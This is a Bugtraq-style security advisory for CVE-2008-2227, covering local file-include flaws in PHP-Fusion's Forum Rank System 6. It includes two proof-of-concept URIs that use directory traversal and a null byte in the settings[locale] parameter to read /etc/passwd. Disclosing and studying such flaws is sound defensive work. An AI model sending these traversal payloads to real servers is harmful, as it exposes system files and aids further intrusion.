Forum Rank System 'settings['locale']' Parameter Multiple Local File Include Vulnerabilities

BID:29077

Info

Forum Rank System 'settings['locale']' Parameter Multiple Local File Include Vulnerabilities

Bugtraq ID: 29077
Class: Input Validation Error
CVE: CVE-2008-2227
Remote: Yes
Local: No
Published: May 07 2008 12:00AM
Updated: Apr 16 2015 06:01PM
Credit: Matrix86
Vulnerable: PHP-Fusion Forum Rank System 6
Not Vulnerable:

Discussion

Forum Rank System 'settings['locale']' Parameter Multiple Local File Include Vulnerabilities

Forum Rank System is prone to local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities using directory-traversal strings to view files local scripts in the context of the webserver process. This may aid in further attacks.

Forum Rank System 6 is vulnerable; other versions may also be affected.

Exploit / POC

Forum Rank System 'settings['locale']' Parameter Multiple Local File Include Vulnerabilities

Attackers can exploit these issues via a browser.

The following proof-of-concept URIs are available:

http://www.example.com/infusions/rank_system/forum.php?settings[locale]=../../../../../../../../etc/passwd%00
http://www.example.com/infusions/rank_system/profile.php?settings[locale]=../../../../../../../../etc/passwd%00

Solution / Fix

Forum Rank System 'settings['locale']' Parameter Multiple Local File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

Forum Rank System 'settings['locale']' Parameter Multiple Local File Include Vulnerabilities

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